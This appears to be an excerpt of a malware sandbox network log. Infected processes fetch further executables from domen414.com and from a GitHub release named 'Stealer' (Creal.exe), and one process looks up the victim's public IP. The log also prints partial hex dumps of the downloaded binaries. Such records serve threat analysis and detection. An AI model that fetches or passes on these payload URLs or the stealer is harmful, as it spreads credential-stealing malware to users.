2023-12-20 14:35:06 UTC	694	IN	HTTP/1.1 307 Temporary Redirect Date: Wed, 20 Dec 2023 14:35:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://domen414.com/9f4658d103ba0f0693c21ed9db84a626/e0cbefcb1af40c7d4aff4aca26621a98.exe CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EGAehbq0%2Bn%2FwALJdC59RxwkzDf6jmc0FTdyOEznDrGjiu%2FnuoX5XKp8%2FdP6o0OgxGV9fZAt7C9qkOrHHJ5AzO2d8Ol%2F3tPu63sCTXJ6XVp%2B3Mjqlmi02K52bIkkx2HA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83889c243c15dadd-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 14:35:06 UTC	132	IN	Data Raw: 37 65 0d 0a 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 65 6e 34 31 34 2e 63 6f 6d 2f 39 66 34 36 35 38 64 31 30 33 62 61 30 66 30 36 39 33 63 32 31 65 64 39 64 62 38 34 61 36 32 36 2f 65 30 63 62 65 66 63 62 31 61 66 34 30 63 37 64 34 61 66 66 34 61 63 61 32 36 36 32 31 61 39 38 2e 65 78 65 22 3e 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 61 3e 2e 0a 0a 0d 0a Data Ascii: 7e<a href="https://domen414.com/9f4658d103ba0f0693c21ed9db84a626/e0cbefcb1af40c7d4aff4aca26621a98.exe">Temporary Redirect</a>.
2023-12-20 14:35:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49747	104.21.91.52	443	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:07 UTC	131	OUT	GET /9f4658d103ba0f0693c21ed9db84a626/e0cbefcb1af40c7d4aff4aca26621a98.exe HTTP/1.1 Host: domen414.com Connection: Keep-Alive
2023-12-20 14:35:07 UTC	681	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:35:07 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4338576 Connection: close Last-Modified: Wed, 20 Dec 2023 13:34:32 GMT Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MxNd27FH1nBfLrOzJvcxHZgZ%2FXNbY99c%2F86zsHYVcRfwWSZWoWF8lZKiD5hI%2Fe%2F4w84qZ8CwyGdypsB7TZ8vRkzr%2FGIBT9yUXjUw%2F%2BC9mUhbx2bBj%2Bex7wPS%2BkMiAp0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83889c2a9a8d5c69-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 14:35:07 UTC	688	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 f6 66 e2 62 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELfb
2023-12-20 14:35:07 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-12-20 14:35:07 UTC	1369	IN	Data Raw: 12 81 f9 eb 03 00 00 75 0a c7 05 70 a4 c2 00 00 00 00 00 8d 0c 1f 89 4d f0 8b 4d f4 8b f3 d3 ee c7 05 b8 aa c2 00 ee 3d ea f4 03 75 dc 8b 45 f0 31 45 fc 81 3d 20 b5 c2 00 e6 09 00 00 75 0c 6a 00 6a 00 6a 00 ff 15 34 70 80 00 33 75 fc 89 75 f0 8b 45 f0 83 45 f8 64 29 45 f8 83 6d f8 64 8b 55 f8 c1 e2 04 89 55 fc 8b 45 e4 01 45 fc 8b 4d f8 8b f1 c1 ee 05 03 75 e0 8d 04 0f 31 45 fc 81 3d 20 b5 c2 00 21 01 00 00 75 1a 6a 00 ff 15 3c 70 80 00 68 60 8c 80 00 6a 00 6a 00 ff 15 6c 70 80 00 8b 4d f8 8b 45 fc 33 c6 2b d8 81 c7 47 86 c8 61 83 6d ec 01 89 45 fc 0f 85 c8 fe ff ff 81 3d 20 b5 c2 00 6d 0a 00 00 8b 75 08 89 1e 75 19 6a 00 6a 00 ff 15 78 70 80 00 8b 45 f8 5f 89 46 04 5e 5b 8b e5 5d c2 04 00 5f 89 4e 04 5e 5b 8b e5 5d c2 04 00 cc cc 55 8b ec a1 20 b5 c2 00 Data Ascii: upMM=uE1E= ujjj4p3uuEEd)EmdUUEEMu1E= !uj<ph`jjlpME3+GamE= muujjxpE_F^[]_N^[]U
2023-12-20 14:35:07 UTC	1369	IN	Data Raw: 7f 09 46 81 fe a4 f6 04 00 7c e3 8b 5d fc 8b 3d 88 70 80 00 33 f6 6a 00 ff d7 81 fe 9d 25 2b 00 7e 08 81 fb d5 74 50 78 75 09 46 81 fe 15 19 01 00 7c e3 a1 9c c3 80 00 8b 0d 70 c3 80 00 a3 20 b5 c2 00 89 0d 24 b5 c2 00 e8 70 fc ff ff 8b 35 c4 70 80 00 bf 8f 07 03 00 5b 8d 64 24 00 81 3d 20 b5 c2 00 1f 05 00 00 75 06 8d 55 d4 52 ff d6 83 ef 01 75 e9 a1 74 a4 c2 00 a3 b4 aa c2 00 ff d0 5f 33 c0 5e 8b e5 5d c2 10 00 cc cc cc 51 8b cc e8 38 0b 00 00 8b ce e8 21 0b 00 00 6a 00 6a 00 8b ce e8 c6 0a 00 00 8b c6 c3 cc cc cc 6a 00 6a 01 e8 b7 0a 00 00 c3 cc cc cc cc cc cc 56 8b f1 8b 4e 38 c7 06 4c 8e 80 00 85 c9 74 07 6a 01 e8 39 0a 00 00 8d 4e 04 5e e9 51 1a 00 00 e8 3b f7 ff ff c2 04 00 cc cc cc cc cc cc cc cc e8 2b f7 ff ff c2 04 00 cc cc cc cc cc cc cc cc 33 Data Ascii: F\|]=p3j%+~tPxuF\|p $p5p[d$= uURut_3^]Q8!jjjjVN8Ltj9N^Q;+3
2023-12-20 14:35:07 UTC	1369	IN	Data Raw: 8b d6 89 7e 3c e8 eb 07 00 00 f6 46 40 04 8b ce 74 0b 8b c7 33 d2 e8 6a 07 00 00 eb 7b 8d 47 01 8b d7 e8 5e 07 00 00 eb 6f 8b d7 2b d0 01 56 3c 8b df 2b d8 8b 45 fc 03 c7 89 45 fc 8b c6 89 5d ec e8 0f 07 00 00 03 c3 89 45 e8 8b c6 e8 f3 06 00 00 8b 4d e8 8b f8 8b 45 fc 8b d1 03 fb 8b ce e8 b0 07 00 00 f6 46 40 04 74 09 8b 45 f8 33 d2 8b f8 eb 1a 8b c6 e8 da 06 00 00 8b f8 8b c6 47 e8 b0 06 00 00 8b d0 8b c7 8b 7d f8 03 d3 8b ce e8 f0 06 00 00 8b 5d f4 f6 46 40 01 74 0d 8b 4d f0 53 51 8d 4e 44 e8 da 05 00 00 83 4e 40 01 8b ce e8 7f 07 00 00 8b f0 8d 45 08 e8 d5 f1 ff ff 5f 88 06 8b 45 08 5e 5b 8b e5 5d c2 04 00 cc cc cc cc cc cc cc 55 8b ec 83 ec 08 56 8b f1 57 8b c6 e8 4f 06 00 00 85 c0 0f 84 9b 00 00 00 8b c6 e8 40 06 00 00 8b f8 8b c6 e8 27 06 00 00 3b Data Ascii: ~<F@t3j{G^o+V<+EE]EMEF@tE3G}]F@tMSQNDN@E_E^[]UVWO@';
2023-12-20 14:35:07 UTC	1369	IN	Data Raw: e8 87 02 00 00 eb 02 8b fb 8b 75 08 8b cf 8b c6 e8 17 04 00 00 5f 8b c6 5e 5b 8b e5 5d c2 20 00 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 8b f1 e8 d5 f5 ff ff f6 45 08 01 74 09 56 e8 19 17 00 00 83 c4 04 8b c6 5e 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 8b f1 e8 c5 ed ff ff f6 45 08 01 74 09 56 e8 e9 16 00 00 83 c4 04 8b c6 5e 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 56 8b f1 e8 a5 f8 ff ff f6 45 08 01 74 09 56 e8 b9 16 00 00 83 c4 04 8b c6 5e 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 80 7d 08 00 53 8b 5d 0c 56 8b f1 74 28 83 7e 18 10 72 22 8d 46 04 57 8b 38 85 db 76 0a 53 57 6a 10 50 e8 46 07 00 00 8b 46 18 40 50 57 8b ce e8 39 00 00 00 5f 53 8b ce c7 46 18 0f 00 00 00 e8 Data Ascii: u_^[] UVEtV^]UVEtV^]UVEtV^]U}S]Vt(~r"FW8vSWjPFF@PW9_SF
2023-12-20 14:35:07 UTC	1369	IN	Data Raw: ff 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 50 e8 ea 11 00 00 59 c3 cc cc cc cc cc cc cc cc 55 8b ec 53 56 57 8b 7d 08 8b f0 8b c7 8b d9 e8 4c f3 ff ff 3b c6 73 05 e8 eb 08 00 00 8b c7 e8 3c f3 ff ff 8b f8 8b 45 0c 2b fe 3b c7 73 02 8b f8 3b 5d 08 75 1f 8d 0c 37 83 c8 ff 8b fb e8 cd 00 00 00 8b c6 33 c9 e8 c4 00 00 00 5f 5e 8b c3 5b 5d c2 08 00 e8 36 00 00 00 84 c0 74 28 8b 45 08 57 e8 99 fd ff ff 8b 4b 18 8d 04 70 50 51 8b c3 e8 8a 00 00 00 8b f0 e8 63 02 00 00 8b f7 8b c3 e8 3a ff ff ff 5f 5e 8b c3 5b 5d c2 08 00 cc e8 db 00 00 00 3b c7 73 05 e8 1e 07 00 00 39 7b 18 73 14 8b 43 14 50 57 53 e8 e2 00 00 00 33 c9 3b cf 1b c0 f7 d8 c3 85 ff 75 0b 56 33 f6 8b c3 e8 fb fe ff ff 5e 33 c9 3b cf 1b c0 f7 d8 c3 cc 8b c6 e8 29 00 00 00 3d 0c 8d 80 00 Data Ascii: ]PYUSVW}L;s<E+;s;]u73_^[]6t(EWKpPQc:_^[];s9{sCPWS3;uV3^3;)=
2023-12-20 14:35:07 UTC	1369	IN	Data Raw: 03 c8 3b 4d 08 76 04 b0 01 eb 02 32 c0 5e 5d c2 04 00 8b ff 55 8b ec ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 32 e2 ff ff 83 c4 10 5d c3 8b ff 55 8b ec ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 73 ff ff ff 83 c4 10 5d c3 8b ff 55 8b ec 51 ff 75 fc ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 b0 ff ff ff 83 c4 14 c9 c3 8b ff 55 8b ec 51 ff 75 fc ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 ac ff ff ff 83 c4 14 c9 c3 6a 0c b8 e0 66 80 00 e8 a5 15 00 00 8b f9 89 7d e8 8b 75 08 83 ce 0f 83 fe fe 76 05 8b 75 08 eb 25 33 d2 6a 03 8b c6 5b f7 f3 8b 4f 18 89 4d ec d1 6d ec 8b 55 ec 3b c2 73 0c 6a fe 58 2b c2 3b c8 77 03 8d 34 0a 83 65 fc 00 8d 46 01 50 8b cf e8 bf f5 ff ff 8b d8 eb 29 8b 45 08 8b 4d e8 89 45 08 40 89 65 f0 50 c6 45 fc 02 e8 a4 f5 ff ff 89 45 ec b8 c5 2f 40 00 c3 Data Ascii: ;Mv2^]Uuuuu2]Uuuuus]UQuuuuuUQuuuuujf}uvu%3j[OMmU;sjX+;w4eFP)EME@ePEE/@
2023-12-20 14:35:07 UTC	1369	IN	Data Raw: fc 00 83 c7 0c 57 8d 4e 0c c7 06 30 72 80 00 e8 a5 ff ff ff 8b c6 e8 f9 10 00 00 c2 04 00 8b ff 55 8b ec 56 ff 75 08 8b f1 e8 b6 ff ff ff c7 06 3c 72 80 00 8b c6 5e 5d c2 04 00 8b ff 55 8b ec 56 ff 75 08 8b f1 e8 99 ff ff ff c7 06 48 72 80 00 8b c6 5e 5d c2 04 00 8b ff 56 6a 18 8b f1 e8 17 08 00 00 50 89 06 e8 64 02 00 00 59 59 8b c6 5e c3 8b ff 56 8b f1 ff 36 e8 62 02 00 00 ff 36 e8 cc 06 00 00 59 59 5e c3 c7 01 7c 72 80 00 c3 8b ff 55 8b ec f6 45 08 01 56 8b f1 c7 06 7c 72 80 00 74 07 56 e8 a7 06 00 00 59 8b c6 5e 5d c2 04 00 8b ff 55 8b ec 8b 45 08 8b 08 85 c9 74 11 e8 fc dc ff ff 85 c0 74 08 8b 10 6a 01 8b c8 ff 12 5d c3 8b ff 55 8b ec 51 6a 00 8d 4d fc e8 3b f9 ff ff 68 e8 c6 80 00 e8 c5 ff ff ff 83 25 e8 c6 80 00 00 59 8d 4d fc e8 49 f9 ff ff c9 c3 Data Ascii: WN0rUVu<r^]UVuHr^]VjPdYY^V6b6YY^\|rUEV\|rtVY^]UEttj]UQjM;h%YMI
2023-12-20 14:35:07 UTC	1369	IN	Data Raw: e4 83 60 70 fd 6a 03 58 eb 2f 83 f8 02 75 1c 38 5d e8 74 07 8b 45 e4 83 60 70 fd 6a 04 eb e8 f6 45 ec 01 75 ea f6 45 ec 02 75 ce 38 5d e8 74 07 8b 45 e4 83 60 70 fd 33 c0 8b 4d fc 5f 5e 33 cd 5b e8 fd 0a 00 00 c9 c3 8b ff 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 46 ff ff ff 83 c4 0c 5d c3 8b ff 55 8b ec 8b 45 14 56 57 33 ff 3b c7 74 47 39 7d 08 75 1b e8 83 34 00 00 6a 16 5e 89 30 57 57 57 57 57 e8 0c 34 00 00 83 c4 14 8b c6 eb 29 39 7d 10 74 e0 39 45 0c 73 0e e8 5e 34 00 00 6a 22 59 89 08 8b f1 eb d7 50 ff 75 10 ff 75 08 e8 45 2f 00 00 83 c4 0c 33 c0 5f 5e 5d c3 8b c1 83 60 04 00 83 60 08 00 c7 00 94 72 80 00 c3 8b ff 55 8b ec 53 8b 5d 08 56 57 8b f9 c7 07 94 72 80 00 8b 03 85 c0 74 26 50 e8 8c 05 00 00 8b f0 46 56 e8 d1 34 00 00 59 59 89 47 04 85 c0 74 12 ff Data Ascii: `pjX/u8]tE`pjEuEu8]tE`p3M_^3[UjuuF]UEVW3;tG9}u4j^0WWWWW4)9}t9Es^4j"YPuuE/3_^]``rUS]VWrt&PFV4YYGt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49750	140.82.113.4	443	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:08 UTC	114	OUT	GET /fra1zz1337/Stealer/releases/download/Stealer/Creal.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2023-12-20 14:35:09 UTC	992	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Wed, 20 Dec 2023 14:35:09 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/730980012/1afd11ac-e4a1-428c-a564-7314ebd8796f?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20231220%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20231220T143509Z&X-Amz-Expires=300&X-Amz-Signature=871a7453af08742c9fb7b10ebff1db493fcf8bc4e34d70bcde5bc414a3d2fed5&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=730980012&response-content-disposition=attachment%3B%20filename%3DCreal.exe&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2023-12-20 14:35:09 UTC	2531	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49749	64.185.227.156	443	7664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:09 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2023-12-20 14:35:09 UTC	157	IN	HTTP/1.1 200 OK Server: nginx/1.25.1 Date: Wed, 20 Dec 2023 14:35:09 GMT Content-Type: text/plain Content-Length: 15 Connection: close Vary: Origin
2023-12-20 14:35:09 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 Data Ascii: 102.129.152.212

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49751	185.199.110.133	443	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 14:35:09 UTC	583	OUT	GET /github-production-release-asset-2e65be/730980012/1afd11ac-e4a1-428c-a564-7314ebd8796f?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20231220%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20231220T143509Z&X-Amz-Expires=300&X-Amz-Signature=871a7453af08742c9fb7b10ebff1db493fcf8bc4e34d70bcde5bc414a3d2fed5&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=730980012&response-content-disposition=attachment%3B%20filename%3DCreal.exe&response-content-type=application%2Foctet-stream HTTP/1.1 Host: objects.githubusercontent.com Connection: Keep-Alive
2023-12-20 14:35:10 UTC	814	IN	HTTP/1.1 200 OK Connection: close Content-Length: 13815856 Content-Type: application/octet-stream Content-MD5: ElpcMP2Z9fU7KRTp9s8WJw== Last-Modified: Wed, 13 Dec 2023 05:18:56 GMT ETag: "0x8DBFB9B0164C030" Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 09a528cc-c01e-000a-02e1-3245e2000000 x-ms-version: 2020-04-08 x-ms-creation-time: Wed, 13 Dec 2023 05:18:56 GMT x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob Content-Disposition: attachment; filename=Creal.exe x-ms-server-encrypted: true Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 0 Date: Wed, 20 Dec 2023 14:35:09 GMT X-Served-By: cache-iad-kiad7000124-IAD, cache-pdk-kpdk1780137-PDK X-Cache: HIT, MISS X-Cache-Hits: 155, 0 X-Timer: S1703082910.868594,VS0,VE97
2023-12-20 14:35:10 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 55 cf 51 d6 11 ae 3f 85 11 ae 3f 85 11 ae 3f 85 5a d6 3c 84 19 ae 3f 85 5a d6 3a 84 ad ae 3f 85 5a d6 3b 84 1b ae 3f 85 04 d1 c2 85 15 ae 3f 85 04 d1 3a 84 39 ae 3f 85 04 d1 3b 84 00 ae 3f 85 04 d1 3c 84 18 ae 3f 85 5a d6 3e 84 1a ae 3f 85 11 ae 3e 85 9a ae 3f 85 2b 2e 3b 84 04 ae 3f 85 2b 2e 3d 84 10 ae 3f 85 52 69 63 68 11 ae 3f 85 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$UQ???Z<?Z:?Z;??:9?;?<?Z>?>?+.;?+.=?Rich?
2023-12-20 14:35:10 UTC	1378	IN	Data Raw: 00 49 8b cd 48 0f 47 d8 4c 8b c3 e8 6a f3 00 00 48 3b c3 0f 85 e3 00 00 00 48 8b cf e8 cd f0 00 00 85 c0 0f 85 d3 00 00 00 4c 2b e3 89 5c 24 28 4c 89 6c 24 20 66 0f 1f 84 00 00 00 00 00 bb 00 20 00 00 48 89 6c 24 30 33 d2 89 5c 24 38 48 8d 4c 24 20 e8 d6 87 00 00 8b f8 41 bf ff ff ff ff 8d 48 04 83 f9 02 76 77 83 f8 02 74 6d 8b 4c 24 38 48 2b d9 4d 85 f6 74 28 4d 8b ce 41 8d 57 02 4c 8b c3 48 8b cd e8 2f fa 00 00 48 3b c3 75 0c 49 8b ce e8 56 f0 00 00 85 c0 74 1b 41 8b ff eb 3e 48 85 f6 74 11 4c 8b c3 48 8b d5 48 8b ce e8 2a b8 00 00 48 03 f3 83 7c 24 38 00 74 80 83 ff 01 74 12 4d 85 e4 74 17 48 8b bc 24 c0 00 00 00 e9 19 ff ff ff 45 33 ff eb 28 bf fd ff ff ff 48 8b 94 24 c8 00 00 00 48 8d 0d e0 a4 02 00 48 83 c2 12 44 8b c7 e8 d4 18 00 00 eb 06 41 bf ff Data Ascii: IHGLjH;HL+\$(Ll$ f Hl$03\$8HL$ AHvwtmL$8H+Mt(MAWLH/H;uIVtA>HtLHH*H\|$8ttMtH$E3(H$HHDA
2023-12-20 14:35:10 UTC	1378	IN	Data Raw: 15 ef a0 02 00 48 8d 0d 1c a1 02 00 e8 bb 11 00 00 49 8b ce e8 9f 38 01 00 45 33 f6 48 8b 7c 24 48 48 8b 6c 24 40 4c 8b 64 24 50 49 8b cf e8 95 ea 00 00 48 8b 5c 24 58 49 8b c6 48 83 c4 20 41 5f 41 5e 5e c3 cc cc cc cc cc cc cc 40 53 57 48 83 ec 38 83 b9 74 50 00 00 01 48 8b fa 48 8b d9 74 18 48 8d 0d e3 a1 02 00 e8 fe 13 00 00 b8 ff ff ff ff 48 83 c4 38 5f 5b c3 80 7a 11 6e 75 24 e8 67 fb ff ff 8b d8 85 c0 79 10 48 8d 57 12 48 8d 0d 06 a2 02 00 e8 d1 13 00 00 8b c3 48 83 c4 38 5f 5b c3 48 89 6c 24 50 48 81 c1 70 30 00 00 48 8d 6a 12 4c 89 64 24 60 48 8b d5 e8 8b 64 00 00 4c 8b e0 48 85 c0 75 2c 4c 8b c5 48 8d 15 f1 a1 02 00 48 8d 0d 1e a2 02 00 e8 ed 10 00 00 48 8b 6c 24 50 41 8d 44 24 ff 4c 8b 64 24 60 48 83 c4 38 5f 5b c3 48 8d 4b 70 4c 89 7c 24 20 48 Data Ascii: HI8E3H\|$HHl$@Ld$PIH\$XIH A_A^^@SWH8tPHHtHH8_[znu$gyHWHH8_[Hl$PHp0HjLd$`HdLHu,LHHHl$PAD$Ld$`H8_[HKpL\|$ H
2023-12-20 14:35:10 UTC	1378	IN	Data Raw: 03 43 08 48 89 43 10 e8 1e e6 00 00 85 c0 74 0e 48 8d 0d 13 9e 02 00 e8 ee 0e 00 00 eb 38 48 8b 43 08 48 3b 43 10 73 2c 66 90 8b 48 04 8b 10 0f c9 89 48 04 8b 48 08 0f c9 89 48 08 8b 48 0c 0f c9 89 48 0c 0f ca 89 10 48 63 ca 48 03 c1 48 3b 43 10 72 d6 33 f6 48 8b cf e8 08 e5 00 00 48 8b 6c 24 48 8b c6 48 8b 4c 24 28 48 33 cc e8 28 a0 00 00 48 8b 5c 24 50 48 8b 74 24 58 48 83 c4 30 5f c3 cc cc cc cc cc cc cc cc 40 53 55 57 b8 30 20 00 00 e8 a2 9f 00 00 48 2b e0 48 8b 05 50 c3 03 00 48 33 c4 48 89 84 24 20 20 00 00 49 8b d8 48 8b ea 48 8b f9 4c 8d 05 7d 9d 02 00 4c 8b ca 48 83 c1 70 ba 00 10 00 00 e8 fc 01 00 00 3d 00 10 00 00 0f 8d 5b 01 00 00 48 8d 8f 70 10 00 00 4c 8b cb 4c 8d 05 50 9d 02 00 ba 00 10 00 00 e8 d6 01 00 00 3d 00 10 00 00 0f 8d 35 01 00 00 Data Ascii: CHCtH8HCH;Cs,fHHHHHHHcHH;Cr3HHl$HHL$(H3(H\$PHt$XH0_@SUW0 H+HPH3H$ IHHL}LHp=[HpLLP=5
2023-12-20 14:35:10 UTC	1378	IN	Data Raw: 44 24 50 33 c9 48 8b 47 08 48 c7 44 24 48 01 00 00 00 48 89 44 24 40 c7 44 24 38 00 00 00 80 c7 44 24 30 00 00 00 80 c7 44 24 28 00 00 00 80 c7 44 24 20 00 00 00 80 ff 15 cb 91 02 00 4c 8b 8f 50 20 00 00 45 33 c0 48 8b 4f 08 ba 80 00 00 00 48 89 87 40 20 00 00 ff 15 2b 92 02 00 4c 8b 8f 50 20 00 00 ba 80 00 00 00 48 8b 4f 08 44 8d 42 81 ff 15 11 92 02 00 4c 8b 8f 50 20 00 00 48 8b 8f 28 20 00 00 ba 72 01 00 00 41 b8 01 00 00 00 ff 15 f2 91 02 00 4c 8b 87 48 20 00 00 4d 85 c0 74 6d 48 8b 4f 08 ba 30 00 00 00 44 8d 4a d1 ff 15 d3 91 02 00 4c 8b 87 48 20 00 00 41 b9 01 00 00 00 48 8b 8f 30 20 00 00 41 8d 51 2f ff 15 b5 91 02 00 4c 8b 87 48 20 00 00 41 b9 01 00 00 00 48 8b 8f 38 20 00 00 41 8d 51 2f ff 15 97 91 02 00 4c 8b 87 48 20 00 00 41 b9 01 00 00 00 48 Data Ascii: D$P3HGHD$HHD$@D$8D$0D$(D$ LP E3HOH@ +LP HODBLP H( rALH MtmHO0DJLH AH0 AQ/LH AH8 AQ/LH AH
